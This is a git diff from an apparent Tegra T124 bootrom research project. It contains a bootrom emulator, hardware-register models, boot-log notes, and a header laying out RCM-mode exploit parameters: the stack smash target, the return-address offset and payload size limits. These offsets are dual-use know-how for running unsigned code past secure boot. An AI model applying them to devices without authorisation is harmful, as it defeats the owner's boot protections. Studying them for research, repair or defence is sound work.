|
||||
|
15
gupje_t/linkscript_reloc.ld
Normal file
@ -0,0 +1,15 @@
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x4003c000, LENGTH = 0x1000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x4003c000;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}
|
||||
|
2
gupje_t/symbols.txt
Normal file
@ -0,0 +1,2 @@
|
||||
debugger_storage = 0x40013000;
|
||||
debugger_stack = 0x40014000;
|
2
gupje_t/symbols_reloc.txt
Normal file
@ -0,0 +1,2 @@
|
||||
debugger_storage = 0x4003e000;
|
||||
debugger_stack = 0x4003f000;
|
99
gupje_t/t124.h
Normal file
@ -0,0 +1,99 @@
|
||||
#ifndef _T124_RCM_H_
|
||||
#define _T124_RCM_H_
|
||||
|
||||
#define JETSON_TK1_VID 0x0955
|
||||
#define JETSON_TK1_PID 0x7140
|
||||
|
||||
#define SHIELD_TK1_VID 0x0955
|
||||
#define SHIELD_TK1_PID 0x7f40
|
||||
|
||||
#define IROM_BEGIN 0x00100000
|
||||
#define IROM_END 0x0010FFFF
|
||||
#define IROM_LEN 0x00010000
|
||||
|
||||
#define IRAM_BEGIN 0x40000000
|
||||
#define IRAM_END 0x4003FFFF
|
||||
#define IRAM_LEN 0x00040000
|
||||
|
||||
#define BOOTROM_DO_BCT_BOOT 0x00100624
|
||||
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
|
||||
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
|
||||
#define BOOTROM_USB_BUF_1 0x40004000
|
||||
#define BOOTROM_USB_BUF_2 0x40008000
|
||||
#define BOOTROM_PAYLOAD_ENTRY 0x4000E000
|
||||
#define BOOTROM_SMASH_TARGET 0x4000DCD8
|
||||
#define BOOTROM_STACK_GAP_LEN 0x30C
|
||||
#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8
|
||||
|
||||
#define VARS_LEN 0x10
|
||||
|
||||
#define INTERMEZZO_LEN 0x100
|
||||
#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00
|
||||
|
||||
#define OFFSET_INTERMEZZO_START 0x0
|
||||
#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN )
|
||||
#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry )
|
||||
#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 )
|
||||
#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 )
|
||||
#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC )
|
||||
#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 )
|
||||
|
||||
|
||||
#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
|
||||
#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
|
||||
#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
|
||||
|
||||
|
||||
#define RCM_EP1_IN 0x81
|
||||
#define RCM_EP1_OUT 0x01
|
||||
#define RCM_CHIP_ID_LEN 0x10
|
||||
|
||||
#define RCM_CMD_LEN 0x32274
|
||||
#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
|
||||
#define RCM_CMD_HEADER_LEN 0x284
|
||||
|
||||
#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
|
||||
#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
|
||||
#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
|
||||
#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
|
||||
|
||||
|
||||
#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes
|
||||
#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes
|
||||
#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes
|
||||
|
||||
|
||||
#define SECURE_BOOT_BASE 0x6000C200
|
||||
#define SB_CSR_0 0x0
|
||||
#define SB_PIROM_START_0 0x4
|
||||
#define SB_PFCFG_0 0x8
|
||||
#define JTAG_ON 0x00000080
|
||||
|
||||
#define APB_BASE 0x70000000
|
||||
#define APB_MISC_PP_CONFIG_CTL_0 0x24
|
||||
#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40
|
||||
#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80
|
||||
|
||||
#define FLOW_CTLR_BASE 0x60007000
|
||||
#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4
|
||||
#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30)
|
||||
#define FLOW_CTLR_HALT_COP_JTAG (1 << 28)
|
||||
|
||||
#define PMC_BASE 0x7000e400
|
||||
#define PMC_CNTRL 0x000
|
||||
#define PMC_CNTRL_MAIN_RST (1 << 4)
|
||||
#define PMC_SCRATCH0 0x050
|
||||
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
|
||||
|
||||
#define FUSE_BASE 0x7000F900
|
||||
#define FUSE_LEN 0x300
|
||||
|
||||
|
||||
#endif
|
||||
|
19
hw_in_the_loop.py
Normal file
@ -0,0 +1,19 @@
|
||||
import typing
|
||||
|
||||
if typing.TYPE_CHECKING:
|
||||
from GA_debugger import *
|
||||
|
||||
class HWDevice():
|
||||
def __init__(self) -> None:
|
||||
pass
|
||||
|
||||
class CryptoEngine(HWDevice):
|
||||
def __init__(self) -> None:
|
||||
pass
|
||||
|
||||
# NvBootSeAesCmacGenerateSubkey
|
||||
# NvBootSeAesEncrypt
|
||||
|
||||
def hw_in_the_loop():
|
||||
|
||||
pass
|
99
inspect_hwio.py
Normal file
@ -0,0 +1,99 @@
|
||||
import argparse, pickle
|
||||
|
||||
'''
|
||||
sdmmc1: sdhci@700b0000 {
|
||||
compatible = "nvidia,tegra210-sdhci", "nvidia,tegra132-sdhci";
|
||||
reg = <0x0 0x700b0000 0x0 0x200>;
|
||||
interrupts = <GIC_SPI 14 IRQ_TYPE_LEVEL_HIGH>;
|
||||
clocks = <&tegra_car TEGRA210_CLK_SDMMC1>;
|
||||
resets = <&tegra_car 14>;
|
||||
reset-names = "sdhci";
|
||||
status = "disabled";
|
||||
};
|
||||
|
||||
pinmux: pinmux@700008d4 {
|
||||
compatible = "nvidia,tegra210-pinmux";
|
||||
reg = <0x0 0x700008d4 0x0 0x299 /* Pad control registers */
|
||||
0x0 0x70003000 0x0 0x290>; /* Mux registers */
|
||||
#gpio-range-cells = <3>;
|
||||
status = "disabled";
|
||||
};
|
||||
|
||||
tegra_car: clock@60006000 {
|
||||
compatible = "nvidia,tegra210-car", "syscon";
|
||||
reg = <0x0 0x60006000 0x0 0x1000>;
|
||||
#clock-cells = <1>;
|
||||
#reset-cells = <1>;
|
||||
};
|
||||
|
||||
rtc: rtc@7000e000 {
|
||||
compatible = "nvidia,tegra-rtc";
|
||||
reg = <0x0 0x7000e000 0x0 0x100>;
|
||||
interrupts = <0 2 0x04>;
|
||||
status = "disabled";
|
||||
};
|
||||
tegra_timer: timer@60005000 {
|
||||
compatible = "nvidia,tegra210-timer";
|
||||
reg = <0x0 0x60005000 0x0 0x400>;
|
||||
interrupts = <GIC_SPI 176 IRQ_TYPE_LEVEL_HIGH>,
|
||||
<GIC_SPI 177 IRQ_TYPE_LEVEL_HIGH>,
|
||||
<GIC_SPI 178 IRQ_TYPE_LEVEL_HIGH>,
|
||||
<GIC_SPI 179 IRQ_TYPE_LEVEL_HIGH>;
|
||||
clocks = <&tegra_car TEGRA210_CLK_TIMER>;
|
||||
};
|
||||
rtc: rtc@7000e000 {
|
||||
compatible = "nvidia,tegra-rtc";
|
||||
reg = <0x0 0x7000e000 0x0 0x100>;
|
||||
interrupts = <0 2 0x04>;
|
||||
status = "disabled";
|
||||
};
|
||||
|
||||
'''
|
||||
|
||||
t124_mem_map = {
|
||||
0x60006000 :
|
||||
{
|
||||
"name" : "tegra_car",
|
||||
"size" : 0x1000,
|
||||
},
|
||||
0x60005000 : {
|
||||
"name" : "tegra_timer",
|
||||
"size" : 0x400,
|
||||
},
|
||||
0x70019000 :
|
||||
{
|
||||
"name" : "memory_controller",
|
||||
"size" : 0x1000,
|
||||
},
|
||||
0x700b0000 : {
|
||||
"name" : "sdhci1",
|
||||
"size" : 0x200,
|
||||
},
|
||||
0x70003000 : {
|
||||
"name" : "pinmux",
|
||||
"size" : 0x290,
|
||||
},
|
||||
0x7000e000 : {
|
||||
"name" : "rtc",
|
||||
"size" : 0x100,
|
||||
}
|
||||
}
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="Inspect HWIO")
|
||||
parser.add_argument("hwio", help="Path to HWIO file")
|
||||
args = parser.parse_args()
|
||||
|
||||
hwio = pickle.load(open(args.hwio, "rb"))
|
||||
|
||||
devices = {}
|
||||
for address in hwio:
|
||||
t_dev = address - (address % 0x1000)
|
||||
if t_dev not in devices:
|
||||
devices[t_dev] = []
|
||||
|
||||
devices[t_dev].append(address)
|
||||
|
||||
for d in devices:
|
||||
print(f"Device at 0x{d:04x} {t124_mem_map[d]['name'] if d in t124_mem_map else ''}")
|
||||
pass
|
124
notes.md
Normal file
@ -0,0 +1,124 @@
|
||||
No EMMC board
|
||||
```
|
||||
b'Checking whether Onsemi FG present \n'
|
||||
b'%s(): error code 0x%08x %s\n'
|
||||
b'%s(): error code 0x%08x %s\n'
|
||||
b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
|
||||
b'[TegraBoot] (version %s)\n'
|
||||
b'Processing in cold boot mode\n'
|
||||
b'Reset reason: %s\n'
|
||||
b'Battery Present\n'
|
||||
b'%s(): error code 0x%08x %s\n'
|
||||
b'%s(): error code 0x%08x %s\n'
|
||||
b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
|
||||
b'Error MAX17048 vcell read failed.\n'
|
||||
b'Failed to determine battery voltage\n'
|
||||
b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
b'Sdram initialization is successful \n'
|
||||
b'PMU BoardId: %d\n'
|
||||
b'CPU power rail is up \n'
|
||||
b'Performing RAM repair\n'
|
||||
b'CPU clock init successful \n'
|
||||
b'%s with error 0x%x in %s func at %d line \n'
|
||||
b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
|
||||
b'Number of retries left %d\n'
|
||||
b'%s with error 0x%x in %s func at %d line \n'
|
||||
b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
|
||||
b'Number of retries left %d\n'
|
||||
b'%s with error 0x%x in %s func at %d line \n'
|
||||
b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
|
||||
b'Number of retries left %d\n'
|
||||
b'Send command failed with 0x%x\n'
|
||||
b'%s with error 0x%x in %s func at %d line \n'
|
||||
b'Identify card failed with 0x%x\n'
|
||||
b'%s with error 0x%x in %s func at %d line \n'
|
||||
b'Sdmmc Init failed with 0x%x error\n'
|
||||
b'Error in %s: 0x%x !\n'
|
||||
b'Error is %x \n'
|
||||
```
|
||||
|
||||
Good device boot
|
||||
```
|
||||
b'Checking whether Onsemi FG present \n'
|
||||
b'[TegraBoot] (version %s)\n'
|
||||
b'Processing in cold boot mode\n'
|
||||
b'Reset reason: %s\n'
|
||||
b'Battery Present\n'
|
||||
b'Battery Voltage: %d mV\n'
|
||||
b'Battery charge sufficient\n'
|
||||
b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
b'Sdram initialization is successful \n'
|
||||
b'PMU BoardId: %d\n'
|
||||
b'CPU power rail is up \n'
|
||||
b'Performing RAM repair\n'
|
||||
b'CPU clock init successful \n'
|
||||
b'Bootloader downloaded successfully.\n'
|
||||
b'CPU-bootloader entry address: 0x%x \n'
|
||||
b'BoardId: %d\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
b'Platform-DebugCarveout: %d\n'
|
||||
b'Using GP1 to query partitions \n'
|
||||
b'WB0 init successful\n'
|
||||
b'Secure Os PKC Verification Success.\n'
|
||||
b'Loading and Validation of Secure OS Successful\n'
|
||||
b'NvTbootPackSdramParams: start. \n'
|
||||
b'NvTbootPackSdramParams: done. \n'
|
||||
b'Starting CPU & Halting co-processor \n\n'
|
||||
```
|
||||
|
||||
And device with corrupted bootloader:
|
||||
```
|
||||
b'Checking whether Onsemi FG present \n'
|
||||
b'[TegraBoot] (version %s)\n'
|
||||
b'Processing in cold boot mode\n'
|
||||
b'Reset reason: %s\n'
|
||||
b'Battery Present\n'
|
||||
b'Battery Voltage: %d mV\n'
|
||||
b'Battery charge sufficient\n'
|
||||
b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
b'Sdram initialization is successful \n'
|
||||
b'PMU BoardId: %d\n'
|
||||
b'CPU power rail is up \n'
|
||||
b'Performing RAM repair\n'
|
||||
b'CPU clock init successful \n'
|
||||
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
|
||||
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
|
||||
b'No Bootloader is found !\n'
|
||||
b'Error in %s: 0x%x !\n'
|
||||
b'Error is %x \n'
|
||||
```
|
||||
|
||||
```
|
||||
1073803520:b'Checking whether Onsemi FG present \n'
|
||||
1073799404:b'[TegraBoot] (version %s)\n'
|
||||
1073799412:b'Processing in cold boot mode\n'
|
||||
1073799416:b'Reset reason: %s\n'
|
||||
1073847520:b'Battery Present\n'
|
||||
1073847572:b'Battery Voltage: %d mV\n'
|
||||
1073847596:b'Battery charge sufficient\n'
|
||||
1073818392:b'Error getting nvdumper carve out address! Booting normally!\n'
|
||||
1073818500:b'Sdram initialization is successful \n'
|
||||
1073801672:b'PMU BoardId: %d\n'
|
||||
1073843272:b'CPU power rail is up \n'
|
||||
1073813604:b'Performing RAM repair\n'
|
||||
1073843308:b'CPU clock init successful \n'
|
||||
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
|
||||
1073800404:b'CPU-bootloader entry address: 0x%x \n'
|
||||
1073800444:b'BoardId: %d\n'
|
||||
1073844416:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844524:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844608:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844692:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073844788:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
|
||||
1073800708:b'Platform-DebugCarveout: %d\n'
|
||||
1073858616:b'Using GP1 to query partitions \n'
|
||||
1073843044:b'WB0 init successful\n'
|
||||
1073848940:b'Secure Os PKC Verification Failed !\n'
|
||||
1073848972:b'Error in %s [%d] \n'
|
||||
1073849136:b'Validation of secure os failed !\n'
|
||||
1073801008:b'Device Shutdown called ...\n'
|
||||
```
|
652
partial_emulation.py
Normal file
@ -0,0 +1,652 @@
|
||||
import typing, pathlib, struct, argparse, pickle, hashlib, time
|
||||
from ghidra_assistant.utils.archs.arm.arm_emulator import *
|
||||
from ghidra_assistant.ghidra_assistant import GhidraAssistant
|
||||
from ghidra_assistant.concrete_device import ConcreteDevice
|
||||
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from cryptography.exceptions import InvalidSignature
|
||||
|
||||
if typing.TYPE_CHECKING:
|
||||
from GA_debugger import *
|
||||
|
||||
acces_str = {
|
||||
UC_MEM_READ : "UC_MEM_READ",
|
||||
UC_MEM_WRITE : "UC_MEM_WRITE",
|
||||
UC_MEM_FETCH : "UC_MEM_FETCH",
|
||||
UC_MEM_READ_UNMAPPED : "UC_MEM_READ_UNMAPPED",
|
||||
UC_MEM_WRITE_UNMAPPED : "UC_MEM_WRITE_UNMAPPED",
|
||||
UC_MEM_FETCH_UNMAPPED : "UC_MEM_FETCH_UNMAPPED",
|
||||
UC_MEM_WRITE_PROT : "UC_MEM_WRITE_PROT",
|
||||
UC_MEM_READ_PROT : "UC_MEM_READ_PROT",
|
||||
UC_MEM_FETCH_PROT : "UC_MEM_FETCH_PROT",
|
||||
UC_MEM_READ_AFTER : "UC_MEM_READ_AFTER",
|
||||
}
|
||||
|
||||
def p8(value):
|
||||
return struct.pack("<B", value)
|
||||
|
||||
class TegraDevice():
|
||||
BASE = 0x0
|
||||
SIZE = 0x1000
|
||||
NAME = "Generic Tegra Device"
|
||||
NV_ADDRESS_MAP_CLK_RST_BASE = 0x60006000
|
||||
CLK_RST_CONTROLLER_MISC_CLK_ENB_0 = NV_ADDRESS_MAP_CLK_RST_BASE + 0x48
|
||||
|
||||
def __init__(self, emulator : "TegraEmulator") -> None:
|
||||
self.emulator = emulator
|
||||
self.fuses_visible = 0
|
||||
|
||||
def read(self, address, size):
|
||||
if len(self.emulator.saved_hwio[address]) > 0:
|
||||
val = self.emulator.saved_hwio[address].pop(0)
|
||||
self.emulator.write_ptr(address, val)
|
||||
return True
|
||||
if address == TegraDevice.CLK_RST_CONTROLLER_MISC_CLK_ENB_0:
|
||||
self.emulator.write_ptr(TegraDevice.CLK_RST_CONTROLLER_MISC_CLK_ENB_0, self.fuses_visible)
|
||||
return True
|
||||
raise NotImplemented
|
||||
|
||||
def write(self, address, data):
|
||||
return True
|
||||
if address == TegraDevice.CLK_RST_CONTROLLER_MISC_CLK_ENB_0:
|
||||
self.fuses_visible = data
|
||||
return True
|
||||
raise NotImplemented
|
||||
|
||||
class FuseDevice(TegraDevice):
|
||||
BASE = 0x7000F000
|
||||
SIZE = 0x1000
|
||||
NAME = "Fuse"
|
||||
FUSE_ODM_INFO_0 = BASE + 0x99c
|
||||
FUSE_FUSEADDR_0 = BASE + 0x804
|
||||
FUSE_FUSECTRL_0 = BASE + 0x800
|
||||
CMD_READ = 1
|
||||
CMD_IDLE = 0
|
||||
FUSE_DAT = BytesIO()
|
||||
def __init__(self, emulator: "TegraEmulator") -> None:
|
||||
super().__init__(emulator)
|
||||
self.fuse_ctr_cmd = 0xc0040000
|
||||
self.fuse_addr = 0x0
|
||||
|
||||
def read(self, address, size):
|
||||
if address == FuseDevice.FUSE_ODM_INFO_0:
|
||||
self.emulator.write_ptr(FuseDevice.FUSE_ODM_INFO_0, 2)
|
||||
elif address == FuseDevice.FUSE_FUSECTRL_0:
|
||||
# get last int from fuse_ctr_cmd
|
||||
cmd = self.fuse_ctr_cmd & 0xffffffff
|
||||
if cmd == FuseDevice.CMD_READ:
|
||||
# Handle read
|
||||
|
||||
# Set idle, set last byte of cmd to 0
|
||||
self.fuse_ctr_cmd = cmd & 0xffffff00
|
||||
self.emulator.write_ptr(FuseDevice.FUSE_FUSECTRL_0, self.fuse_ctr_cmd)
|
||||
|
||||
self.emulator.write_ptr(FuseDevice.FUSE_FUSECTRL_0, self.fuse_ctr_cmd)
|
||||
else:
|
||||
raise NotImplemented
|
||||
return True
|
||||
|
||||
def write(self, address, value):
|
||||
if address == FuseDevice.FUSE_FUSEADDR_0:
|
||||
self.fuse_addr = value
|
||||
elif address == FuseDevice.FUSE_FUSECTRL_0:
|
||||
self.emulator.write_ptr(FuseDevice.FUSE_FUSECTRL_0, value)
|
||||
self.fuse_ctr_cmd = value
|
||||
else:
|
||||
raise NotImplemented
|
||||
return True
|
||||
pass
|
||||
|
||||
class TimerDevice(TegraDevice):
|
||||
BASE = 0x60005000
|
||||
SIZE = 0x1000
|
||||
NAME = "Timer"
|
||||
READ_TIME_OFFSET = BASE + 0x10
|
||||
def __init__(self, emulator: "TegraEmulator") -> None:
|
||||
super().__init__(emulator)
|
||||
|
||||
def read(self, address, size):
|
||||
if address == TimerDevice.READ_TIME_OFFSET:
|
||||
val = int(time.clock_gettime_ns(0)/1000) & 0xffffffff
|
||||
self.emulator.write_ptr(TimerDevice.READ_TIME_OFFSET, val)
|
||||
return True
|
||||
|
||||
class EmmcDevice(TegraDevice):
|
||||
BASE = 0x700b0000
|
||||
SIZE = 0x1000
|
||||
NAME = "Emmc"
|
||||
def __init__(self, emulator: "TegraEmulator") -> None:
|
||||
super().__init__(emulator)
|
||||
|
||||
def read(self, address, size):
|
||||
pass
|
||||
|
||||
def write(self, address, value):
|
||||
pass
|
||||
|
||||
class CryptoDevice(TegraDevice):
|
||||
BASE = 0x70012000
|
||||
SIZE = 0x1000
|
||||
NAME = "Crypto"
|
||||
KEY_SLOT_SELECT = BASE + 0x31c
|
||||
KEY_SLOT_START = BASE + 0x320
|
||||
KEY_SLOT_END = BASE + 0x330
|
||||
SE_CONFIG_0 = BASE + 0x14
|
||||
SE_BUSY = BASE + 0x800
|
||||
SE_START = BASE + 0x8
|
||||
SE_SHA_CONFIG_0 = BASE + 0x200
|
||||
SE_SHA_MSG_LENGTH_0 = BASE + 0x204
|
||||
SE_SHA_MSG_LENGTH_2 = BASE + 0x208
|
||||
SE_SHA_MSG_LENGTH_2 = BASE + 0x20c
|
||||
SE_IN_LL_ADDR_0 = BASE + 0x18
|
||||
SE_OUT_LL_ADDR_0 = BASE + 0x24
|
||||
SE_SHA_MSG_LEFT_0 = BASE + 0x214
|
||||
SE_RSA_EXP_SIZE_0 = BASE + 0x408
|
||||
SE_RSA_KEY_SIZE_0 = BASE + 0x404
|
||||
SE_RSA_KEYTABLE_ADDR_0 = BASE + 0x420
|
||||
|
||||
SE_RSA_KEY_SIZE_0_VAL_WIDTH_2048 = 3
|
||||
|
||||
def __init__(self, emulator: "TegraEmulator") -> None:
|
||||
super().__init__(emulator)
|
||||
self.keys = {}
|
||||
self.current_key = b"\x00" * 16
|
||||
self.key_slot_config = 0
|
||||
self.key_slot = 0
|
||||
self.config = 0
|
||||
|
||||
def read(self, address, size):
|
||||
if address == CryptoDevice.SE_CONFIG_0:
|
||||
self.emulator.write_ptr(CryptoDevice.SE_CONFIG_0, self.config)
|
||||
elif address == CryptoDevice.SE_BUSY:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
||||
def write(self, address, value):
|
||||
if address == CryptoDevice.KEY_SLOT_SELECT:
|
||||
# Commit key to key slot
|
||||
self.key_slot_config = value
|
||||
self.key_slot = p32(value)[0] # First byte is keyslot
|
||||
self.keys[self.key_slot] = self.current_key
|
||||
elif address >= CryptoDevice.KEY_SLOT_START and address <= CryptoDevice.KEY_SLOT_END:
|
||||
if self.key_slot not in self.keys:
|
||||
self.keys[self.key_slot] = b"\x00" * 16
|
||||
# Keys are 16 bytes
|
||||
offset = address - CryptoDevice.KEY_SLOT_START
|
||||
self.current_key = self.current_key[:offset] + struct.pack("<I", value) + self.current_key[offset + 4:]
|
||||
elif address == CryptoDevice.SE_CONFIG_0:
|
||||
self.config = value
|
||||
elif address == CryptoDevice.SE_SHA_MSG_LENGTH_0:
|
||||
self.msg_length = value
|
||||
elif address == CryptoDevice.SE_SHA_CONFIG_0:
|
||||
self.sha_config_0 = value
|
||||
elif address == CryptoDevice.SE_IN_LL_ADDR_0:
|
||||
self.in_ll_address = value
|
||||
elif address == CryptoDevice.SE_OUT_LL_ADDR_0:
|
||||
self.out_ll_address = value
|
||||
elif address == CryptoDevice.SE_SHA_MSG_LEFT_0:
|
||||
self.sha_msg_left = value
|
||||
elif address == CryptoDevice.SE_START:
|
||||
self.emulator.write_ptr(CryptoDevice.SE_BUSY, 1) # Busy
|
||||
# Parse SE linked list
|
||||
last_block = self.emulator.read_ptr(self.in_ll_address)
|
||||
# Read block
|
||||
def hash_block():
|
||||
block_address = self.emulator.read_ptr(self.in_ll_address + 4)
|
||||
size = self.emulator.read_ptr(self.in_ll_address + 8)
|
||||
block = self.emulator.uc.mem_read(block_address, size)
|
||||
self.in_ll_address += 12 # Move to next block
|
||||
|
||||
out_address = self.emulator.read_ptr(self.out_ll_address + 4)
|
||||
out_size = self.emulator.read_ptr(self.out_ll_address + 8)
|
||||
|
||||
digest = hashlib.sha256(block).digest()
|
||||
self.emulator.uc.mem_write(out_address, digest[:out_size])
|
||||
while last_block != 0:
|
||||
hash_block()
|
||||
# Last block
|
||||
hash_block()
|
||||
self.emulator.write_ptr(CryptoDevice.SE_BUSY, 0) # Set CE to not busy
|
||||
pass
|
||||
# elif address == CryptoDevice.SE_SHA_MSG_LENGTH_2:
|
||||
# self.msg_length_2 = value
|
||||
elif address == CryptoDevice.SE_RSA_EXP_SIZE_0:
|
||||
self.rsa_exp_size = value
|
||||
elif address == CryptoDevice.SE_RSA_KEY_SIZE_0:
|
||||
assert value == CryptoDevice.SE_RSA_KEY_SIZE_0_VAL_WIDTH_2048, "Only 2048 bit keys supported"
|
||||
self.rsa_key_size = 2048
|
||||
elif address == CryptoDevice.SE_RSA_KEYTABLE_ADDR_0:
|
||||
# Copies ll key into CE
|
||||
last_block = self.emulator.read_ptr(self.in_ll_address)
|
||||
assert last_block == 0, "Only one block supported"
|
||||
block_address = self.emulator.read_ptr(self.in_ll_address + 4)
|
||||
size = self.emulator.read_ptr(self.in_ll_address + 8)
|
||||
self.rsa_key = self.emulator.uc.mem_read(block_address, size)
|
||||
else:
|
||||
if value != 0:
|
||||
pass
|
||||
self.emulator.write_ptr(address, value)
|
||||
|
||||
NVBOOTREADONEOBJECT = 0x00104c40
|
||||
NVBOOTSDMMCREADPAGE = 0x0010a5d6
|
||||
NVBOOTSESHAHASH = 0x00102b6c
|
||||
NVBOOTSERSAPSSSIGNATUREVERIFY = 0x00102ed2
|
||||
|
||||
class TegraEmulator(ARM_Emulator):
|
||||
def __init__(self, hw_itm=True, saved_hwio="", init_uc=True) -> None:
|
||||
super().__init__(init_uc)
|
||||
self.log_hw_access = True
|
||||
self.save_hwio = True
|
||||
if saved_hwio:
|
||||
self.saved_hwio = pickle.load(open(saved_hwio, "rb"))
|
||||
else:
|
||||
self.saved_hwio = {}
|
||||
self.hw_itm = hw_itm
|
||||
self.saved_blocks = {}
|
||||
try:
|
||||
self.ghidra = GhidraAssistant()
|
||||
except:
|
||||
pass
|
||||
|
||||
def setup(self, target="bootrom"):
|
||||
self.target = target
|
||||
self.setup_memory()
|
||||
self.setup_registers()
|
||||
if not self.hw_itm:
|
||||
self.setup_devices()
|
||||
self.setup_hooks()
|
||||
self.apply_patches()
|
||||
|
||||
|
||||
def install_debugger(self, debugger : ConcreteDevice):
|
||||
self.debugger = debugger
|
||||
|
||||
def setup_memory(self):
|
||||
self.bootrom_path = pathlib.Path("bootrom_t124.bin")
|
||||
self.bootrom = self.bootrom_path.read_bytes()
|
||||
self.uc.mem_map(0x100000, page_align_top(len(self.bootrom)), UC_PROT_EXEC | UC_PROT_READ)
|
||||
self.uc.mem_write(0x100000, self.bootrom)
|
||||
|
||||
# map IMEM
|
||||
self.uc.mem_map(0x40000000, 0x40000, UC_PROT_EXEC | UC_PROT_READ | UC_PROT_WRITE)
|
||||
if self.target == "bootrom":
|
||||
pass
|
||||
else:
|
||||
self.imem_path = pathlib.Path("imem3_bct")
|
||||
self.imem = self.imem_path.read_bytes()
|
||||
self.uc.mem_write(0x40000000, self.imem)
|
||||
|
||||
# DRAM
|
||||
DRAM_BASE = 0x80000000
|
||||
DRAM_SIZE = 2 * GB
|
||||
self.uc.mem_map(DRAM_BASE, DRAM_SIZE, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
|
||||
|
||||
def setup_registers(self, target="bootrom"):
|
||||
if self.target == "bootrom":
|
||||
self.pc = 0x100000 | 1
|
||||
